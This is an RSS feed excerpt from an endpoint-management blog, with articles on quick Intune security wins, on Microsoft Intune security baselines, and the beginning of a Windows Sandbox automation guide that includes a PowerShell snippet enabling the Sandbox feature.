<li>Navigate to 'Devices' -&gt; 'Manage devices' -&gt; 'Conditional access' -&gt; 'Create new policy from templates'.</li>
</ol>
<img src="\intune_quick_secure\ca_new_template.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>In the following wizard you will see the conditional access templates offered by Microsoft.</li>
<li>Select the one you want to implement and click 'Review + create'.</li>
</ol>
<img src="\intune_quick_secure\ca_templates.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>In the next screen, leave the 'Report only' setting as it is and click 'Create'.</li>
</ol>
<img src="\intune_quick_secure\ca_create_template.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Start with 'Report only', check the sign in logs in the following days and if everything looks good, set it to 'ON'.</p>
<h2 id="_3-use-security-baselines" tabindex="-1">3. Use Security Baselines <a class="header-anchor" href="#_3-use-security-baselines" aria-label="Permalink to &quot;3. Use Security Baselines&quot;">&ZeroWidthSpace;</a></h2>
<p>Security baselines are preconfigured sets of security settings that are recommended by Microsoft.
If you want to learn more about these policy sets, click on the following link to go to my article about them <a href="https://michaelsendpoint.com/intune/security_baseline.html" target="_blank" rel="noreferrer">Microsoft Intune Security baselines</a>.</p>
<p>For our third quick win, we're focusing on the <strong>'Security Baseline for Windows 10 and later'</strong>.</p>
<ol>
<li>Again open the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a>.</li>
<li>This time navigate to 'Endpoint security' -&gt; 'Overview' -&gt; 'Security baselines' -&gt; 'Security Baseline for Windows 10 and later'.</li>
</ol>
<img src="\intune_quick_secure\Baseline.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>If you now click 'Create profile' -&gt; 'Create', you can enter a name for the policy and click 'Next'.</li>
<li>Next you will see the settings tab where Microsoft has pre-configured a plethora of security settings.
Next up is the Settings tab, where Microsoft has preconfigured a wide range of security settings.
These settings can be used as they are, but should be tested first with a small group of users in your environment.
You can do this by going to the 'Assignment' tab and selecting a group that you have created.
You can then simply 'Review + Create' the policy.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>⚠️<span style="color:red"><strong>Possible diruptive Settings to keep an eye on are:</strong></span></p>
<ul>
<li><strong>'Administrative Templates' -&gt; 'MS Security Guide' -&gt; 'Configure SMB v1 client driver' and 'Configure SMB v1 server'</strong><br>
This could be a problem if you are still using SMB v1 for any reason at all. But if you are, I strongly recommend that you think about replacing or updating whatever it is that needs SMB v1.</li>
<li><strong>'Administrative Templates' -&gt; 'Printers' -&gt; 'Limits print driver installation to Administrators'</strong><br>
If you have enabled the installation of printer drivers for normal users via the registry, then this setting will prevent users from being able to install printer drivers in the future.
Again, I strongly recommend that you do not allow this now, due to the associated security flaw (CVE-2021-34481).</li>
<li><strong>'Administrative Templates' -&gt; 'System -&gt; Device Installation -&gt; Device Installation Restrictions' -&gt; 'Prevent installation of devices using drivers that match these device setup classes'</strong><br>
This is only a problem if you are using an 'IEEE 1394 device that supports the SBP2 protocol device class'.</li>
<li><strong>'Administrative Templates' -&gt; 'System' -&gt; 'Power Management' -&gt; 'Sleep Settings'</strong><br>
Enforcing the need for a password on wakeup could disrupt possible group PC scenarios (although you should definitely enable this setting).</li>
<li><strong>'Windows Components' -&gt; 'BitLocker Drive Encryption' -&gt; 'Removable Data Drives'</strong><br>
This setting denies write access to all removable drives (USB sticks) that are not encrypted by BitLocker.</li>
<li><strong>'Windows Components' -&gt; 'Windows Remote Management (WinRM)' -&gt; 'WinRM Client' / 'WinRM Service'</strong><br>
These settings disable basic authentication.</li>
<li><strong>'Browser'</strong><br>
If you rely on the use of password managers in your browser, this will disable that feature (at least for Microsoft Edge).</li>
<li><strong>'Defender'</strong><br>
If you have not previously used security software, these settings could interfere with the use of unsigned drivers or software.</li>
<li><strong>'Device Lock'</strong><br>
These settings may force your users to change their passwords to meet the new requirements.</li>
<li><strong>'Firewall'</strong><br>
If you have applications running on your devices that rely on specific open ports that you have not configured, instead working with the firewall disabled, these settings will enable the three firewall profiles and could disrupt the use of these applications.</li>
<li><strong>'Local Policies Security Options'</strong><br>
These settings could interfere with the ability of standard users to perform elevated tasks, and could disrupt systems that are using legacy network protocols.</li>
<li><strong>'User Rights'</strong><br>
These settings control local user permissions for your devices, and if you are working with local users (which you should not be doing), you could mess up this access.</li>
</ul>
</div>
<h2 id="_4-enable-defender-for-endpoint" tabindex="-1">4. Enable Defender for Endpoint <a class="header-anchor" href="#_4-enable-defender-for-endpoint" aria-label="Permalink to &quot;4. Enable Defender for Endpoint&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft Defender for Endpoint provides advanced threat protection and endpoint detection and response capabilities.<br>
For the fourth quick win, you can enable and deploy the configuration of Microsoft Defender for Endpoint through Intune.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>If you want to use Intune to configure Defender for Endpoint policies, you need to enable these options. Otherwise, even the Defender settings from the Security Baseline for Windows 10 and later will not work.</p>
</div>
<p><strong>Enable the configuration of Defender policies through Intune</strong></p>
<ol>
<li>Open the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a> -&gt; go to 'Endpoint security' -&gt; 'Microsoft Defender for Endpoint'.</li>
</ol>
<img src="\intune_quick_secure\defender.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<ol start="2">
<li>Set the 'Allow Microsoft Defender for Endpoint to enforce Endpoint Security Configurations' to 'On', to set up the connection between Microsoft Defender for Endpoint and Intune.</li>
</ol>
<img src="\intune_quick_secure\defender_allow.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="3">
<li>Now set the 'Connect Windows devices version 10.0.15063 and above to Microsoft Defender for Endpoint' to 'On', to let Intune control the settings for Windows devices.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>On the same tab, you can enable control for a range of other operating systems.</p>
</div>
<img src="\intune_quick_secure\defender_allow_windows.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>&nbsp;</p>
<p><strong>Onboard Devices to Defender for Endpoint (Installation on the devices)</strong></p>
<ol>
<li>In the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a> -&gt; go to 'Endpoint security' -&gt; 'Endpoint detection and response'.</li>
</ol>
<img src="\intune_quick_secure\edr.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<ol start="2">
<li>Select 'Create policy' -&gt; Platform = 'Windows' -&gt; Profile = 'Endpoint detection and response' -&gt; 'Create'.</li>
<li>Enter your policy name and description and click 'Next'.</li>
<li>Now select the settings shown in the screenshot below and click 'Next'.</li>
<li>In the Assignment tab, select 'All devices' to make sure every device is onboarded. Then click 'Next' and 'Save'.</li>
</ol>
<img src="\intune_quick_secure\edr_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<p><strong>Configure Defender for Endpoint Policies</strong></p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>In order to configure Defender for Endpoint policies, we need to change a few policies in the Baseline we created earlier, the 'Securirty Baseline for Windows 10 and later' profile.<br>
This is because the Baseline also configures some Defender settings that may conflict with the more specific Defender policies we want to create from here.<br>
For this you need to go back to where you created the Baseline and open it. Under the section 'Defender' you set all options to 'Not Configured' (example below).
<img src="\intune_quick_secure\defender_baseline.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></p>
</div>
<ol>
<li>In the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a> -&gt; go to 'Endpoint security' -&gt; 'Antivirus' and select 'Create policy'.</li>
<li>After selecting 'Windows' as your platform, you can choose which policy to create. Start by selecting 'Defender update controls'.</li>
</ol>
<img src="\intune_quick_secure\defender_policies.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="3">
<li>Now name and describe your policy and select the settings shown in the screenshot below.</li>
<li>Then click 'Next' till you arrive at the Assignment tab, select 'All devices', then click 'Next' and 'Save'.</li>
</ol>
<img src="\intune_quick_secure\defender_updates.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>We will now create a second policy by following the same steps as described above, but this time we will select 'Microsoft Defender AntiVirus'.</li>
<li>Here I have chosen a wide range of security settings to give you the maximum security with the minimum disruption to your users.
Again, simply select the settings shown in the screenshots below, then go to the 'Assignment' tab, select 'All devices', then click 'Next' and 'Save'.</li>
</ol>
<img src="\intune_quick_secure\defender_config1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune_quick_secure\defender_config2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune_quick_secure\defender_config3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune_quick_secure\defender_config4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>To create the third and final policy, follow the same steps as above, but now select 'Windows Security Experience'.</li>
<li>This setting is to enable 'Tamper Protection', but if you wish you can also customise the Defender UI that your users see.</li>
</ol>
<img src="\intune_quick_secure\Defender_tamper_protection.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>By implementing these quick wins in Intune, you can significantly improve your organisation's security posture and create a minimum threshold to secure your environment.<br>
Each step builds a more secure environment, protecting your data and resources from potential threats.</p>
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security baselines | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/security_baseline.html</link>
            <guid>https://michaelsendpoint.com/intune/security_baseline.html</guid>
            <pubDate>Sun, 29 Sep 2024 19:55:23 GMT</pubDate>
            <description><![CDATA[What security the baseline policy provids and what it doens`t.]]></description>
            <content:encoded><![CDATA[<h1 id="microsoft-intune-security-baselines" tabindex="-1">Microsoft Intune Security baselines <a class="header-anchor" href="#microsoft-intune-security-baselines" aria-label="Permalink to &quot;Microsoft Intune Security baselines&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="what-is-a-security-baseline" tabindex="-1">What is a security baseline? <a class="header-anchor" href="#what-is-a-security-baseline" aria-label="Permalink to &quot;What is a security baseline?&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Security baselines in Microsoft Intune</strong> represent preconfigured sets of security configurations for Windows devices. Essentially, they provide a standardized foundation for securing endpoints by encapsulating recommended security settings.</p>
<p>These baselines are curated by Microsoft security experts, covering a broad spectrum of security domains, including network security, account policies, and more. They offer a solid starting point for organizations, allowing for rapid deployment of essential security controls.</p>
<p>Key advantages of utilizing security baselines include:</p>
<ul>
<li><strong>Efficiency:</strong> Streamlined configuration and deployment of multiple security settings.</li>
<li><strong>Best Practices:</strong> Leverage Microsoft's security expertise and recommendations.</li>
<li><strong>Customization:</strong> Adapt baselines to align with specific organizational security requirements.</li>
<li><strong>Compliance:</strong> Facilitate adherence to industry standards and regulatory mandates.</li>
</ul>
<p>It's important to note that while baselines provide a robust framework, they require careful evaluation and potential customization to fully meet an organization's unique security posture. By effectively leveraging security baselines, organizations can significantly enhance their overall security posture and mitigate risks.</p>
<h2 id="what-is-the-difference-between-using-a-security-baseline-and-a-custom-policy" tabindex="-1">What is the difference between using a security baseline and a custom policy? <a class="header-anchor" href="#what-is-the-difference-between-using-a-security-baseline-and-a-custom-policy" aria-label="Permalink to &quot;What is the difference between using a security baseline and a custom policy?&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="security-baselines" tabindex="-1">Security Baselines <a class="header-anchor" href="#security-baselines" aria-label="Permalink to &quot;Security Baselines&quot;">&ZeroWidthSpace;</a></h3>
<p>Security baselines represent pre-configured sets of security settings derived from Microsoft's security recommendations and industry best practices. They offer a standardized approach to enhancing device security and often align with regulatory compliance standards.</p>
<ul>
<li>
<p><strong>Advantages:</strong></p>
<ul>
<li>Rapid deployment and implementation</li>
<li>Established security foundation</li>
<li>The chance of misconfiguration is lower</li>
</ul>
</li>
<li>
<p><strong>Limitations:</strong></p>
<ul>
<li>Less flexibility for tailoring to unique organizational needs</li>
<li>Do not support the full range of options</li>
</ul>
</li>
</ul>
<h3 id="custom-policies" tabindex="-1">Custom Policies <a class="header-anchor" href="#custom-policies" aria-label="Permalink to &quot;Custom Policies&quot;">&ZeroWidthSpace;</a></h3>
<p>Custom policies provide granular control over device configurations, allowing organizations to define specific settings based on their unique security requirements and risk tolerance. These policies can be tailored to various device types and user groups.</p>
<ul>
<li>
<p><strong>Advantages:</strong></p>
<ul>
<li>High degree of customization</li>
<li>Precise control over device settings</li>
<li>Ideal for complex environments with specific security needs</li>
</ul>
</li>
<li>
<p><strong>Limitations:</strong></p>
<ul>
<li>Require more time and expertise to create and manage</li>
<li>Increased risk of misconfiguration if not carefully designed</li>
</ul>
</li>
</ul>
<h3 id="when-to-use-which" tabindex="-1">When to Use Which <a class="header-anchor" href="#when-to-use-which" aria-label="Permalink to &quot;When to Use Which&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><strong>Security baselines</strong> are well-suited for organizations seeking a rapid, standardized approach to security enhancement, or those who are just starting out on there Intune journey.</li>
<li><strong>Custom policies</strong> are optimal for organizations with complex security requirements, unique device configurations, or specific compliance mandates.</li>
</ul>
<p>By understanding the strengths and limitations of both options, security administrators can effectively leverage Intune to achieve the desired level of complexity and control in their device management.</p>
<h2 id="delving-deeper-into-the-windows-security-baseline-security-baseline-for-windows-10-and-later" tabindex="-1">Delving Deeper into the Windows Security Baseline <br> (Security Baseline for Windows 10 and later) <a class="header-anchor" href="#delving-deeper-into-the-windows-security-baseline-security-baseline-for-windows-10-and-later" aria-label="Permalink to &quot;Delving Deeper into the Windows Security Baseline &lt;br&gt; (Security Baseline for Windows 10 and later)&quot;">&ZeroWidthSpace;</a></h2>
<p>The Windows Security Baseline encompasses a broad spectrum of settings designed to bolster device security, protect data, and mitigate risks.</p>
<h3 id="key-components-of-the-windows-security-baseline" tabindex="-1">Key Components of the Windows Security Baseline <a class="header-anchor" href="#key-components-of-the-windows-security-baseline" aria-label="Permalink to &quot;Key Components of the Windows Security Baseline&quot;">&ZeroWidthSpace;</a></h3>
<p>The baseline covers the following critical areas:</p>
<ul>
<li>
<p><strong>Network Security:</strong></p>
<ul>
<li>Firewall configuration (inbound/outbound rules, domain profile, private profile, public profile)</li>
<li>Network discovery and file sharing settings</li>
</ul>
</li>
<li>
<p><strong>Device Encryption:</strong></p>
<ul>
<li>BitLocker drive encryption policies</li>
<li>Removable storage encryption policies</li>
</ul>
</li>
<li>
<p><strong>User Accounts:</strong></p>
<ul>
<li>Password policies</li>
<li>Account lockout policies</li>
<li>Privileged account management</li>
</ul>
</li>
<li>
<p><strong>Application Control:</strong></p>
<ul>
<li>SmartScreen filter settings</li>
<li>PUA Protection (potentially unwanted applications)</li>
</ul>
</li>
<li>
<p><strong>System Security:</strong></p>
<ul>
<li>Secure boot configuration</li>
<li>Device Guard and Credential Guard policies</li>
<li>Windows Hello for Business</li>
</ul>
</li>
</ul>
<h2 id="delving-deeper-into-the-microsoft-defender-for-endpoint-baseline-microsoft-defender-for-endpoint-security-baseline" tabindex="-1">Delving deeper into the Microsoft Defender for Endpoint Baseline <br> (Microsoft Defender for Endpoint Security Baseline) <a class="header-anchor" href="#delving-deeper-into-the-microsoft-defender-for-endpoint-baseline-microsoft-defender-for-endpoint-security-baseline" aria-label="Permalink to &quot;Delving deeper into the Microsoft Defender for Endpoint Baseline &lt;br&gt; (Microsoft Defender for Endpoint Security Baseline)&quot;">&ZeroWidthSpace;</a></h2>
<p>The Microsoft Defender for Endpoint baseline is specifically designed to optimize the settings within the Defender for Endpoint suite. It focuses on enhancing endpoint detection and response (EDR) capabilities, threat protection, and investigation tools.</p>
<h3 id="core-components-of-the-microsoft-defender-for-endpoint-baseline" tabindex="-1">Core Components of the Microsoft Defender for Endpoint Baseline <a class="header-anchor" href="#core-components-of-the-microsoft-defender-for-endpoint-baseline" aria-label="Permalink to &quot;Core Components of the Microsoft Defender for Endpoint Baseline&quot;">&ZeroWidthSpace;</a></h3>
<p>The baseline typically covers these key areas:</p>
<ul>
<li>
<p><strong>Real-time Protection:</strong></p>
<ul>
<li>Configuration of real-time protection features like file system protection, network protection, and behavioral monitoring.</li>
<li>Fine-tuning sensitivity levels for optimal threat detection.</li>
</ul>
</li>
<li>
<p><strong>Cloud Protection:</strong></p>
<ul>
<li>Enabling cloud-based protection services for enhanced threat detection and response capabilities.</li>
<li>Configuring cloud sandbox analysis and submission settings.</li>
</ul>
</li>
<li>
<p><strong>Investigation and Remediation:</strong></p>
<ul>
<li>Enabling advanced hunting capabilities for proactive threat hunting.</li>
<li>Configuring incident response and remediation workflows.</li>
</ul>
</li>
<li>
<p><strong>Endpoint Detection and Response (EDR):</strong></p>
<ul>
<li>Optimizing EDR features for efficient threat investigation and response.</li>
<li>Configuring attack surface reduction rules.</li>
</ul>
</li>
<li>
<p><strong>Threat Intelligence:</strong></p>
<ul>
<li>Leveraging threat intelligence feeds for improved threat detection and prevention.</li>
<li>Configuring integration with threat intelligence platforms.</li>
</ul>
</li>
</ul>
<h2 id="delving-deeper-into-the-microsoft-edge-security-baseline-security-baseline-for-microsoft-edge" tabindex="-1">Delving Deeper into the Microsoft Edge Security Baseline <br> (Security Baseline for Microsoft Edge) <a class="header-anchor" href="#delving-deeper-into-the-microsoft-edge-security-baseline-security-baseline-for-microsoft-edge" aria-label="Permalink to &quot;Delving Deeper into the Microsoft Edge Security Baseline &lt;br&gt; (Security Baseline for Microsoft Edge)&quot;">&ZeroWidthSpace;</a></h2>
<p>The Microsoft Edge security baseline is designed to enhance the security posture of the Microsoft Edge browser. It covers a wide range of settings, from security features to privacy options and performance optimization.</p>
<h3 id="key-components-of-the-microsoft-edge-security-baseline" tabindex="-1">Key Components of the Microsoft Edge Security Baseline <a class="header-anchor" href="#key-components-of-the-microsoft-edge-security-baseline" aria-label="Permalink to &quot;Key Components of the Microsoft Edge Security Baseline&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><strong>Security Features:</strong>
<ul>
<li>SmartScreen filter configuration: To protect against phishing and malicious downloads.</li>
<li>Site isolation: To prevent one compromised website from affecting others.</li>
<li>Cookies and site data management: To control cookie behavior and data storage.</li>
<li>Password manager settings: To enforce strong password practices.</li>
<li>Extensions management: To control the installation and usage of browser extensions.</li>
</ul>
</li>
<li><strong>Privacy Settings:</strong>
<ul>
<li>Tracking prevention: To limit tracking by websites.</li>
<li>Address bar suggestions: To control suggestions based on browsing history.</li>
<li>Data collection and usage: To manage data collection by Microsoft.</li>
</ul>
</li>
<li><strong>Performance and Stability:</strong>
<ul>
<li>Startup settings: To optimize browser startup performance.</li>
<li>Hardware acceleration: To enable or disable hardware acceleration for graphics.</li>
<li>Compatibility mode: To control compatibility settings for websites.</li>
</ul>
</li>
</ul>
<h2 id="delving-deeper-into-the-windows-365-security-baseline-windows-365-security-baseline" tabindex="-1">Delving Deeper into the Windows 365 Security Baseline <br> (Windows 365 Security Baseline) <a class="header-anchor" href="#delving-deeper-into-the-windows-365-security-baseline-windows-365-security-baseline" aria-label="Permalink to &quot;Delving Deeper into the Windows 365 Security Baseline &lt;br&gt; (Windows 365 Security Baseline)&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>The Windows 365 security baseline is a relatively new addition to the Intune suite, specifically designed to secure cloud-based Windows desktops.</strong> It builds upon the existing Windows 10, Microsoft Edge, and Microsoft Defender for Endpoint baselines, tailoring them for the unique characteristics of the Windows 365 environment.</p>
<h3 id="key-components-of-the-windows-365-security-baseline" tabindex="-1">Key Components of the Windows 365 Security Baseline <a class="header-anchor" href="#key-components-of-the-windows-365-security-baseline" aria-label="Permalink to &quot;Key Components of the Windows 365 Security Baseline&quot;">&ZeroWidthSpace;</a></h3>
<p>Given its nature as a cloud-based service, the Windows 365 security baseline focuses on:</p>
<ul>
<li><strong>Operating System Security:</strong>
<ul>
<li>Account Policies: Enforces password policies, account lockout policies, and Kerberos settings.</li>
<li>Audit Policies: Configures auditing for account logon events, object access, and policy change.</li>
<li>User Rights Assignments: Defines which users or groups have specific rights, such as logging on locally or accessing the computer from the network.</li>
</ul>
</li>
<li><strong>Microsoft Edge Security:</strong>
<ul>
<li>Privacy Settings: Controls for tracking prevention, cookie management, and site permissions.</li>
<li>Security Settings: Configures SmartScreen, sandboxing, and other browser security features.</li>
<li>Performance Settings: Optimizes browser performance while maintaining security.</li>
</ul>
</li>
<li><strong>Microsoft Defender for Endpoint:</strong>
<ul>
<li>Antivirus Configuration: Settings for real-time protection, cloud-delivered protection, and automatic sample submission.</li>
<li>Firewall Rules: Defines inbound and outbound rules to control network traffic.</li>
<li>Attack Surface Reduction: Configures rules to reduce the attack surface, such as blocking executable content from email and webmail clients.</li>
</ul>
</li>
</ul>
<h2 id="delving-deeper-into-the-microsoft-365-apps-security-baseline-microsoft-365-apps-for-enterprise-security-baseline" tabindex="-1">Delving Deeper into the Microsoft 365 Apps Security Baseline <br> (Microsoft 365 Apps for Enterprise Security Baseline) <a class="header-anchor" href="#delving-deeper-into-the-microsoft-365-apps-security-baseline-microsoft-365-apps-for-enterprise-security-baseline" aria-label="Permalink to &quot;Delving Deeper into the Microsoft 365 Apps Security Baseline &lt;br&gt; (Microsoft 365 Apps for Enterprise Security Baseline)&quot;">&ZeroWidthSpace;</a></h2>
<p>The Microsoft 365 Apps security baseline focuses on enhancing the security of Microsoft Office applications like Word, Excel, PowerPoint, Outlook, and others. It covers a broad range of security settings to protect documents, data, and user privacy.</p>
<h3 id="key-components-of-the-microsoft-365-apps-security-baseline" tabindex="-1">Key Components of the Microsoft 365 Apps Security Baseline <a class="header-anchor" href="#key-components-of-the-microsoft-365-apps-security-baseline" aria-label="Permalink to &quot;Key Components of the Microsoft 365 Apps Security Baseline&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><strong>Macro Security:</strong>
<ul>
<li>Controlling macro execution to prevent malicious macros from running.</li>
<li>Configuring trusted document locations.</li>
</ul>
</li>
<li><strong>Document Protection:</strong>
<ul>
<li>Enabling document protection features like Information Rights Management (IRM).</li>
<li>Configuring sensitive information types.</li>
</ul>
</li>
<li><strong>Application Settings:</strong>
<ul>
<li>Disabling unnecessary features or add-ins.</li>
<li>Configuring default application settings for security and privacy.</li>
</ul>
</li>
<li><strong>Email Security:</strong>
<ul>
<li>Implementing email security settings in Outlook (e.g., phishing protection, junk email filtering).</li>
<li>Configuring email encryption and digital signatures.</li>
</ul>
</li>
</ul>
<h2 id="best-practices" tabindex="-1">Best Practices <a class="header-anchor" href="#best-practices" aria-label="Permalink to &quot;Best Practices&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><strong>Phased Implementation:</strong> Deploy the baseline in stages to minimize disruption.</li>
<li><strong>Pilot Testing:</strong> Test the baseline in a pilot group to identify potential issues.</li>
<li><strong>User Impact:</strong> Consider the potential impact of changes on user productivity and experience.</li>
</ul>
<p>By carefully implementing and managing the Windows Security Baseline, organizations can significantly enhance their device security posture and protect against a wide range of threats.</p>
<h2 id="links" tabindex="-1">Links <a class="header-anchor" href="#links" aria-label="Permalink to &quot;Links&quot;">&ZeroWidthSpace;</a></h2>
<p><a href="https://learn.microsoft.com/en-us/mem/intune/protect/security-baselines" target="_blank" rel="noreferrer">Microsoft Learn Article</a></p>
<p><a href="https://github.com/microsoft/Intune-ACSC-Windows-Hardening-Guidelines" target="_blank" rel="noreferrer">Example: Intune-ACSC-Windows-Hardening-Guidelines</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Sandbox automation | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/sandbox.html</link>
            <guid>https://michaelsendpoint.com/powershell/sandbox.html</guid>
            <pubDate>Wed, 18 Sep 2024 20:26:16 GMT</pubDate>
            <description><![CDATA[Windows Sandbox automation with Powershell.]]></description>
            <content:encoded><![CDATA[<h1 id="windows-sandbox-automation-scripts" tabindex="-1">Windows Sandbox automation scripts <a class="header-anchor" href="#windows-sandbox-automation-scripts" aria-label="Permalink to &quot;Windows Sandbox automation scripts&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="what-is-windows-sandbox" tabindex="-1">What is Windows Sandbox? <a class="header-anchor" href="#what-is-windows-sandbox" aria-label="Permalink to &quot;What is Windows Sandbox?&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows Sandbox is a secure, isolated environment (VM) on Windows Pro and Enterprise. It creates a temporary, disposable instance of Windows, ensuring any changes made do not affect the host system.</p>
<h3 id="key-points" tabindex="-1">Key Points <a class="header-anchor" href="#key-points" aria-label="Permalink to &quot;Key Points&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><strong>Isolation</strong>: Each session is a fresh, clean slate.</li>
<li><strong>Efficiency</strong>: Uses the host's OS image, minimizing overhead.</li>
<li><strong>Disposable</strong>: All data is deleted when closed.</li>
</ul>
<p>Windows Sandbox is perfect for testing software and exploring suspicious files without risk.</p>
<h2 id="install-windows-sandbox" tabindex="-1">Install Windows Sandbox <a class="header-anchor" href="#install-windows-sandbox" aria-label="Permalink to &quot;Install Windows Sandbox&quot;">&ZeroWidthSpace;</a></h2>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>An elevated Powershell instance is needed.</p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Checks if the Windows Sandbox is alreaddy installed and if not, install it. </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">If</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-WindowsOptionalFeature</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Online </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FeatureName Containers</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DisposableClientVM)){</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Enable-WindowsOptionalFeature</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Online </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FeatureName Containers</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DisposableClientVM</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h2 id="winget-configuration-with-windows-sandbox" tabindex="-1">Winget Configuration with Windows Sandbox <a class="header-anchor" href="#winget-configuration-with-windows-sandbox" aria-label="Permalink to &quot;Winget Configuration with Windows Sandbox&quot;">&ZeroWidthSpace;</a></h2>
<p>To use Windows Sandbox with Winget, you first need a configuration file in .yaml format.
To do this, you can simply create a text file and change the file extension to .yaml afterwards.</p>
<div class="language-yaml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">yaml</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">###############################################################################</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Create Windows Sandbox instance with WinGet installed.                      #</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Run as Administrator                                                        #</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Mount C:\Sandbox on the local filesystem into the Sandbox filesystem.       #</span></span>
